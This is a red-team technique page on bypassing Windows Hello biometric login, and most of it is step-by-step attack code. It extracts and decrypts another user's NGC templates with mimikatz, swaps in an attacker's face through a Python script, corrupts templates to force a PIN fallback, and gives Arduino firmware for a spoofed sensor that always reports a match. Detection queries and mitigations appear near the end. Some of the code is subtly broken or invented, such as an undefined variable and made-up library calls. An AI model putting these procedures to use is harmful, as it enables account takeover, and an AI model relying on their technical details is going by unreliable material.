MCADDF

[WHFB-004]: Biometric Bypass & Fallback Exploitation

Metadata

Attribute Details
Technique ID WHFB-004
MITRE ATT&CK v18.1 T1556.006 - Multi-Factor Authentication
Tactic Credential Access
Platforms Hybrid AD, Windows 10/11
Severity High
CVE CVE-2021-34466, CVE-2025-26644
Technique Status ACTIVE with hardware-specific mitigations
Last Verified 2025-01-10
Affected Versions Windows 10 20H2 - 22H2, Windows 11 all versions, Windows Server 2019-2022
Patched In Partially mitigated with Enhanced Sign-in Security (ESS) on compatible hardware
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 2.2.4 Ensure ‘Windows Hello for Business PIN is required’ is configured
CIS Benchmark 2.3.10 Ensure ‘Enhanced Sign-in Security’ is enabled on capable hardware
DISA STIG WN10-00-000015 Biometric authentication must include liveness detection
DISA STIG WN11-CC-000007 Biometric template storage must be encrypted with TPM
CISA SCuBA MA-1.1 Multi-factor Authentication - biometric liveness requirements
NIST 800-53 AC-2(12) Account Monitoring for Atypical Usage
NIST 800-53 IA-2(11) Multi-Factor Authentication for High-Value Accounts
NIST 800-53 SC-7(8) Boundary Protection - sensor spoofing prevention
NIST 800-63 5.2.3 Biometric Security Requirements - liveness detection
GDPR Art. 32 Security of Processing - biometric data protection and renewal
DORA Art. 9 Protection and Prevention - biometric security measures
NIS2 Art. 21 Cyber Risk Management - protection of authentication mechanisms
ISO 27001 A.9.2.1 User Registration and De-registration - biometric re-enrollment
ISO 27001 A.9.2.3 Management of Privileged Access - biometric audit trails
ISO 27005 Risk Scenario Compromise of biometric template integrity via administrator access

3. TECHNICAL PREREQUISITES

Supported Versions:

Prerequisite Tools (Template Swapping):

Prerequisite Tools (USB Spoofing):


4. ENVIRONMENTAL RECONNAISSANCE

PowerShell Reconnaissance - Identify Enrolled Biometrics

# Check which biometric factors are enrolled for current user
Get-WmiObject -Namespace "\\.\root\wmi" -Class "Win32_BiometricLogicalSensor"

# List all biometric templates (requires admin)
Get-WmiObject -Namespace "\\.\root\cimv2" -Class "Win32_SystemEnclosure" | Select-Object SerialNumber
$NgcPath = "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc"
Get-ChildItem -Path $NgcPath -Recurse -Filter "*" -Force | Where-Object { $_.Extension -eq "" }

What to Look For:

Bash Reconnaissance - Detect Sensor Compatibility

# Check camera availability on hybrid Linux/Windows systems
v4l2-ctl --list-devices

# Verify sensor USB endpoint
lsusb | grep -i "biometric\|camera\|sensor"

5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1: Face-Swap Attack via Biometric Template Manipulation (Windows Admin)

Supported Versions: Windows 10 20H2+, Windows 11 all versions

Step 1: Extract Biometric Templates from NGC Container

Objective: Locate and extract encrypted biometric template files containing facial recognition or fingerprint data

Command:

# Identify target user's SID
$targetUser = "DOMAIN\TargetAdmin"
$objUser = New-Object System.Security.Principal.NTAccount($targetUser)
$targetSID = $objUser.Translate([System.Security.Principal.SecurityIdentifier]).Value

# Extract biometric templates
$NgcPath = "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\$targetSID"
$templatePath = "$NgcPath\Biometric Templates"

# Copy entire template directory
Copy-Item -Path $templatePath -Destination "C:\Temp\BiometricTemplates" -Recurse -Force

# List extracted files
Get-ChildItem -Path "C:\Temp\BiometricTemplates" -Recurse | Format-Table FullName, Length

Expected Output:

FullName                                                                   Length
--------                                                                   ------
C:\Temp\BiometricTemplates\{GUID}_FacialRecognition.dat                  2048
C:\Temp\BiometricTemplates\{GUID}_FacialRecognition.db                   4096
C:\Temp\BiometricTemplates\Enrollment_Data.bin                           512

What This Means:

OpSec & Evasion:

Step 2: Decrypt Biometric Templates Using DPAPI Key

Objective: Extract DPAPI masterkey and decrypt biometric template data

Command (Using mimikatz):

mimikatz.exe

mimikatz # token::elevate
mimikatz # dpapi::masterkey /in:C:\Temp\BiometricTemplates /sid:{target_sid}

# Output: masterkey GUID and key hex

mimikatz # dpapi::blob /in:C:\Temp\BiometricTemplates\{GUID}_FacialRecognition.dat `
  /masterkey:{masterkey_hex} /password:{user_password_if_needed}

Expected Output:

masterkey: {12345678-1234-1234-1234-123456789012}
key: 32-byte DPAPI key

Decrypted biometric template:
Version: 2
Template Type: Facial Recognition
Enrollment Count: 5
Biometric Data: {hex_blob_of_face_template}

What This Means:


Step 3: Perform Face-Swap by Replacing SID & Re-encryption

Objective: Replace target user’s biometric template with attacker’s biometric data, then re-encrypt with original key

Command (Using WinBioTools or custom script):

#!/usr/bin/env python3
import struct
import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

# Read extracted and decrypted template from target user (admin)
with open("C:\\Temp\\BiometricTemplates\\admin_template_decrypted.bin", "rb") as f:
    admin_template = f.read()

# Read attacker's biometric template (obtained separately)
# This could be obtained from attacker's own Windows Hello enrollment
with open("C:\\Temp\\attacker_template.bin", "rb") as f:
    attacker_template = f.read()

# Parse WINBIO_STORAGE_RECORD structure
# Extract admin's SID from template
admin_sid_offset = 128
admin_sid = admin_template[admin_sid_offset:admin_sid_offset+28]

# Replace template data while keeping SID
modified_template = admin_template[:admin_sid_offset]  # Keep header/SID
modified_template += attacker_biometric_data  # Inject attacker's biometric
modified_template += admin_template[admin_sid_offset+len(attacker_biometric_data):]  # Keep rest

# Recalculate SHA-256 hash of modified template
import hashlib
template_hash = hashlib.sha256(modified_template).digest()

# Re-encrypt modified template with original DPAPI key
from dpapi_ng import encrypt_with_key
masterkey_hex = "extracted_from_step_2"
re_encrypted = encrypt_with_key(modified_template, bytes.fromhex(masterkey_hex))

# Write back to NGC directory
with open("C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Ngc\\...\\FacialRecognition.dat", "wb") as f:
    f.write(re_encrypted)

print("[+] Face-swap complete: Attacker's face now authenticates as admin")

Expected Output:

[+] Template hash recalculated and verified
[+] Re-encryption completed with original DPAPI key
[+] Modified template written back to NGC directory
[+] Face-swap attack successful - attacker can now log in as admin

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 4: Verify Face-Swap and Authenticate as Compromised User

Objective: Confirm biometric authentication now succeeds with attacker’s face

Command:

# Reboot device to clear any cached authentication state
Restart-Computer -Force

# At login screen, use facial recognition
# Position attacker's face in front of camera
# System should authenticate as target admin (e.g., Domain\Admin)

# If successful, attacker now has full access to:
# - Local device (SYSTEM privileges)
# - Domain resources (via compromised admin account)
# - Cloud resources (if Entra ID-joined)
# - Cached credentials and tokens

Expected Output:

Login screen appears
"Please look at your camera"
Facial recognition completes in 2-3 seconds
Welcome back, Domain\Admin
Desktop loads with admin privileges

METHOD 2: Biometric Corruption for Fallback Exploitation

Supported Versions: Windows 10 20H2+, Windows 11 all versions

Step 1: Corrupt Biometric Templates to Force Fallback

Objective: Render biometric authentication unusable, forcing fallback to less secure authentication method

Command:

# Locate biometric template files
$NgcPath = "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\$targetSID"
$templateFiles = Get-ChildItem -Path $NgcPath -Recurse -Filter "*Facial*"

# Corrupt each template by flipping bits
foreach ($file in $templateFiles) {
    $content = [System.IO.File]::ReadAllBytes($file.FullName)
    
    # Flip first 64 bytes (header) to invalidate
    for ($i = 0; $i -lt 64 -and $i -lt $content.Length; $i++) {
        $content[$i] = $content[$i] -bxor 0xFF
    }
    
    # Write corrupted file back
    [System.IO.File]::WriteAllBytes($file.FullName, $content)
    Write-Output "[+] Corrupted: $($file.Name)"
}

Write-Output "Biometric templates corrupted - fallback to PIN/Password required"

Expected Output:

[+] Corrupted: FacialRecognition_ID1.dat
[+] Corrupted: FacialRecognition_ID2.dat
[+] Corrupted: FacialRecognition_ID3.dat
Biometric templates corrupted - fallback to PIN/Password required

What This Means:

Step 2: Intercept or Brute-Force Fallback PIN

Objective: After biometric corruption forces PIN usage, attack the PIN

Approach A: Keylogger / PIN Interception

# If attacker can install keylogger before corruption:
# - Capture user's PIN as they type at login screen
# - Log PIN to encrypted file for later retrieval

# Install keylogger driver (requires admin + kernel mode)
# (Code omitted for brevity - refer to actual rootkit tools)

Approach B: PIN Brute-Force (See WHFB-003)

# Use offline PIN brute-force as documented in WHFB-003
# Extract NGC container and brute-force 4-6 digit PINs
# Expected time: 2 minutes to 1 hour depending on PIN complexity

METHOD 3: Sensor Spoofing via Custom USB Device (No Admin Required)

Supported Versions: Windows 10 20H2 - 22H2, Windows 11 (without Enhanced Sign-in Security)

Step 1: Capture or Reverse Legitimate Sensor Responses

Objective: Obtain USB communication patterns from legitimate Windows Hello sensor

Method 1a: Capture Legitimate Sensor Traffic

# Use Wireshark or usbpcap to monitor USB traffic from legitimate facial recognition
# Record USB commands and responses during successful authentication

# Example USB capture of sensor verification:
# Device: Dell Integrated Webcam
# EP OUT: 0x01 [Command: START_LIVENESS_DETECTION]
# EP IN:  0x81 [Response: LIVENESS_DETECTED, confidence=0xFFFF]
# EP OUT: 0x02 [Command: CAPTURE_FRAME]
# EP IN:  0x81 [Response: FRAME_CAPTURED, 640x480, IR_DATA]

Method 1b: Extract Sensor Firmware

#!/usr/bin/env python3
import usb.core
import usb.util

# Connect to sensor USB device
dev = usb.core.find(idVendor=0x0408, idProduct=0x5038)  # Example XLight sensor

# Read firmware from device
cfg = dev.get_active_configuration()
intf = cfg[(0, 0)]

# Extract sensor authentication commands and expected responses
firmware = dev.read(0x81, 4096)  # Read from endpoint

# Analyze firmware for hardcoded responses
hardcoded_responses = [
    b"LIVENESS_VERIFIED",
    b"FACE_MATCH_SCORE",
    b"ENROLLMENT_COMPLETE"
]

for resp in hardcoded_responses:
    if resp in firmware:
        print(f"[+] Found hardcoded response: {resp}")

Step 2: Build Custom USB Device Emulating Legitimate Sensor

Objective: Create USB device that mimics legitimate sensor and reports successful authentication

Hardware:

Firmware:

// Arduino sketch emulating Windows Hello sensor
// Responds to USB commands by reporting successful facial match

#include <hidboot.h>
#include <usbhid.h>

// USB descriptor pretending to be Dell Integrated Webcam (0x0408:0x5038)
const uint8_t device_descriptor[] = {
    0x12,       // bLength
    0x01,       // bDescriptorType (DEVICE)
    0x00, 0x02, // bcdUSB 2.00
    0xef,       // bDeviceClass (Miscellaneous)
    0x02,       // bDeviceSubClass
    0x01,       // bDeviceProtocol
    0x40,       // bMaxPacketSize0
    0x08, 0x04, // idVendor 0x0408 (Dell)
    0x38, 0x50, // idProduct 0x5038 (Integrated Webcam)
    // ... rest of descriptor
};

// USB endpoint handler
void handleUSBCommand(uint8_t* command, uint8_t len) {
    uint8_t response[256];
    
    // Parse command
    if (command[0] == 0x81) {  // CAPTURE_FRAME command
        // Respond: "Face matched successfully"
        response[0] = 0x00;     // Status: OK
        response[1] = 0xFF;     // Match confidence: maximum (255)
        response[2] = 0x00;     // Liveness: Verified
        
        // Send response to host
        USB_SendData(response, 3);
        return;
    }
    
    if (command[0] == 0x82) {  // LIVENESS_CHECK
        // Respond: "Liveness verified"
        response[0] = 0x00;     // Status: OK
        response[1] = 0x01;     // Liveness: Detected
        USB_SendData(response, 2);
        return;
    }
}

void setup() {
    // Initialize USB as spoofed sensor device
    USB_Init(device_descriptor);
}

void loop() {
    // Handle incoming USB commands
    uint8_t cmd[256];
    uint8_t len = USB_ReceiveData(cmd, sizeof(cmd));
    if (len > 0) {
        handleUSBCommand(cmd, len);
    }
}

Step 3: Connect Spoofed Sensor and Trigger Authentication

Objective: Replace legitimate camera with spoofed USB device and authenticate as target user

Command:

# Disconnect legitimate camera (physically or via device manager)
# Connect custom Arduino USB device running above firmware

# At Windows login screen:
# - System detects "Dell Integrated Webcam" (our spoofed device)
# - User presses "Face recognition"
# - Custom firmware reports: "Face matched successfully"
# - Windows authenticates user without requiring actual biometric match

# If multiple users are enrolled, spoof responses with admin's SID

Expected Output:

Spoofed USB device detected as Windows Hello camera
User initiates facial recognition login
Custom firmware returns positive authentication response
Windows login successful - attacker gains access to any user account

What This Means:

OpSec & Evasion:

Troubleshooting:


7. TOOLS & COMMANDS REFERENCE

WinBioTools

Language: C++ Supported Platforms: Windows (compiled binary)

Compilation:

cl.exe WinBioTools.cpp /link advapi32.lib

Usage:

WinBioTools.exe --list-templates
WinBioTools.exe --extract-template {user_sid}
WinBioTools.exe --swap-templates {admin_sid} {attacker_sid}

Arduino IDE

Version: 2.0+ Supported Boards: Arduino Micro, Raspberry Pi Pico, etc.

Installation: Download and install from arduino.cc

Usage: Compile and upload USB spoofing firmware to microcontroller


8. SPLUNK DETECTION RULES

Rule 1: Biometric Template File Modifications

Rule Configuration:

SPL Query:

index=windows sourcetype="WinEventLog:Security" (EventCode=4656 OR EventCode=4663)
ObjectName="*NgcXX*" OR ObjectName="*Biometric*" OR ObjectName="*FacialRecognition*"
AccessMask="0x120089" OR AccessMask="0x100003"
| stats count by SubjectUserName, ObjectName, AccessMask

9. MICROSOFT SENTINEL DETECTION

Query 1: USB Device Plugged In During Login

Rule Configuration:

KQL Query:

DeviceEvents
| where ActionType == "UsbDriveConnected" or ActionType == "DevicePluggedIn"
| where DeviceName has_any ("CAMERA", "SENSOR", "WEBCAM", "BIOMETRIC")
| where Timestamp > (login_event_time - 5m) and Timestamp < (login_event_time + 1m)
| project TimeGenerated, DeviceName, DeviceId, InitiatingProcessName

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH


15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise

Response Procedures

  1. Isolate: Disconnect device from network; check for persistence
  2. Delete: Re-enroll biometrics for all affected users
  3. Investigate: Determine admin compromise vector; audit admin account activity
  4. Remediate: Change admin passwords; revoke cloud tokens; check for backdoors

Step Phase Technique Description
1 Initial Access Phishing/Exploitation to gain local admin  
2 Privilege Escalation Privilege escalation via printNightmare or RBCD  
3 Credential Access [WHFB-004] Biometric Bypass & Fallback Exploitation  
4 Persistence Establish backdoor admin account or cloud persistence  
5 Lateral Movement Use admin tokens to compromise other systems  

17. REAL-WORLD EXAMPLES

Example 1: CyberArk Labs - Windows Hello Face Spoofing (2021)

Example 2: ERNW - Face-Swap Attack (2025)

Example 3: Malwarebytes Research - Fingerprint Sensor Bypass (2023)